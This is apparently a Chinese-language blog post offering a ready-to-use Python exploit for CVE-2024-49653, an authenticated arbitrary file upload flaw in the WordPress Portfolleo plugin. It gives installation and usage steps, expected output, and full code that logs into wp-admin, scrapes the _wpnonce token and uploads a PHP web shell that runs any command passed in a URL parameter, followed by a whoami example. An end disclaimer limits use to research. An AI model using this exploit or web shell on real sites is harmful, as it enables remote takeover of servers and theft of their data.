WordPress Portfolleo 插件漏洞利用工具 (CVE-2024-49653)

🚀 WordPress Portfolleo Plugin Exploit (CVE-2024-49653)

本项目提供了一个完整的漏洞利用工具,用于检测和利用 WordPress Portfolleo 插件 <= 1.2 中的任意文件上传漏洞。经过身份验证的攻击者可以上传一个恶意的 Web Shell,进而获得服务器远程执行命令的能力。

✨ 功能特性

  • 自动身份验证:支持通过 WordPress 用户名和密码登录后台
  • 防伪标记自动提取 :自动解析页面,获取 _wpnonce 防伪标记
  • 任意文件上传:利用插件漏洞上传 PHP Web Shell
  • 命令执行:通过上传的 Shell 可执行系统命令
  • 简单易用:命令行参数清晰,使用便捷

📦 安装指南

系统要求

  • Python 3.6 或更高版本
  • 拥有 WordPress 后台有效账户

安装依赖

使用 pip 安装所需的 Python 库:

bash 复制代码
pip install requests beautifulsoup4

获取脚本

将本项目中的 CVE-2024-49653.py 脚本保存到本地即可使用。

🛠️ 使用说明

基本用法

bash 复制代码
python CVE-2024-49653.py -u <网站地址> -U <用户名> -p <密码>

参数说明

参数 说明
-u, --url WordPress 站点的基础 URL(例如 http://target.com/wordpress
-U, --username WordPress 后台登录用户名
-p, --password WordPress 后台登录密码
-h, --help 显示帮助信息

使用示例

bash 复制代码
python CVE-2024-49653.py -u http://192.168.100.74:888/wordpress -U admin -P mypassword123

预期输出

成功利用漏洞后,您将看到类似以下的输出:

less 复制代码
[+] Logged in successfully.
[+] Extracted _wpnonce: e5f7ffa134
[+] Shell has been uploaded.
[*] Check the shell here: http://target.com/wp-content/portfolleo/nxploit.php

使用上传的 Shell

上传成功后,可以通过以下方式执行系统命令:

bash 复制代码
http://target.com/wp-content/portfolleo/nxploit.php?cmd=whoami

💻 核心代码

主程序入口与参数解析

python 复制代码
def parse_arguments():
    parser = argparse.ArgumentParser(description="WordPress Portfolleo plugin <= 1.2 - Arbitrary File Upload vulnerability # by Khaled Alenazi")
    parser.add_argument('-u', '--url', required=True, help='Base URL of the site (e.g. http://192.168.100.74:888/wordpress)')
    parser.add_argument('-U', '--username', dest='username', required=True, help='WordPress username')
    parser.add_argument('-p', '--password', required=True, help='WordPress password')
    return parser.parse_args()

创建会话与后台登录

python 复制代码
def create_session():
    session = requests.Session()
    requests.packages.urllib3.disable_warnings()
    session.verify = False
    return session

def login(session, url, username, password):
    login_url = f"{url}/wp-login.php"
    login_data = {
        'log': username,
        'pwd': password,
        'rememberme': 'forever',
        'wp-submit': 'Log In'
    }
    response = session.post(login_url, data=login_data, headers={"User-Agent": "Mozilla/5.0"})
    return response

def check_login(session):
    return any('wordpress_logged_in' in cookie.name for cookie in session.cookies)

提取 _wpnonce 防伪标记

python 复制代码
def get_nonce(session, url, portfolio_path):
    portfolio_url = f"{url}/{portfolio_path}"
    response = session.get(portfolio_url, headers={"User-Agent": "Mozilla/5.0"})
    soup = BeautifulSoup(response.text, 'html.parser')
    return soup.find('input', {'name': '_wpnonce'})['value']

漏洞利用与 Web Shell 上传

python 复制代码
def upload_shell(session, url, nonce, portfolio_path):
    shell_file = {
        'fileupload': ('nxploit.php', '<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>', 'application/x-php')
    }
    form_data = {
        '_wpnonce': nonce,
        '_wp_http_referer': f'/{portfolio_path}',
        'name': 'profile',
        'dob': '23/03/2025',
        'desc': 'Im Nxploited , Khaled Alenazi',
        'action': 'update',
        'page_options': 'name,dob,desc,datafile',
        'submit': 'Add To Portfolio'
    }
    upload_url = f"{url}/wp-admin/options.php"
    response = session.post(upload_url, headers={"User-Agent": "Mozilla/5.0"}, files=shell_file, data=form_data)
    return response

完整主函数逻辑

python 复制代码
def main():
    args = parse_arguments()
    session = create_session()
    
    response = login(session, args.url, args.username, args.password)
    if check_login(session):
        print("[+] Logged in successfully.")
    else:
        print("[-] Failed to log in.")
        exit()

    portfolio_path = "wp-admin/admin.php?page=portfolleo"
    nonce = get_nonce(session, args.url, portfolio_path)
    print(f"[+] Extracted _wpnonce: {nonce}")

    response = upload_shell(session, args.url, nonce, portfolio_path)
    print("[+] Shell has been uploaded.")
    print("[*] Check the shell here: {}/wp-content/portfolleo/nxploit.php".format(args.url))

if __name__ == "__main__":
    main()

⚠️ 免责声明

本工具仅供安全研究和教育用途。使用此工具进行任何未经授权的访问或破坏活动均为违法行为。使用者需自行承担全部法律责任,作者不对任何滥用行为负责。请仅在获得明确授权的系统上使用本工具。 6HFtX5dABrKlqXeO5PUv/7mATt604kk9CTxbcj7G2fI=

相关推荐
俊哥V1 小时前
每日 AI 研究简报 · 2026-05-13
人工智能·ai
用户4330514143811 小时前
和 TypeScript / Node 交互
人工智能
Wanderer X1 小时前
【LLM】RAG mRAG
人工智能
eastyuxiao1 小时前
数字孪生教程(软件篇)官方学习路径
大数据·人工智能·学习·数字孪生
茉莉玫瑰花茶1 小时前
LangGraph 入门教程:构建 AI 工作流 [ 案例三 ]
前端·人工智能·python
我有医保我先冲1 小时前
【无标题】
java·大数据·人工智能
染指11101 小时前
2.AI大模型-链式思考TOC让AI实现思考-优秀提示词设计技巧
大数据·数据库·人工智能
Daydream.V1 小时前
从零搭建 AI Agent:LLM Agent+Function Calling+Dify 本地部署 + Coze 实战全攻略
人工智能·langchain·ollama·functioncalling·大模型部署
数据智研1 小时前
【数据分享】中国第三产业统计年鉴(1991-2025)(1993-1994、2001-2005末出版)
大数据·人工智能·信息可视化·数据分析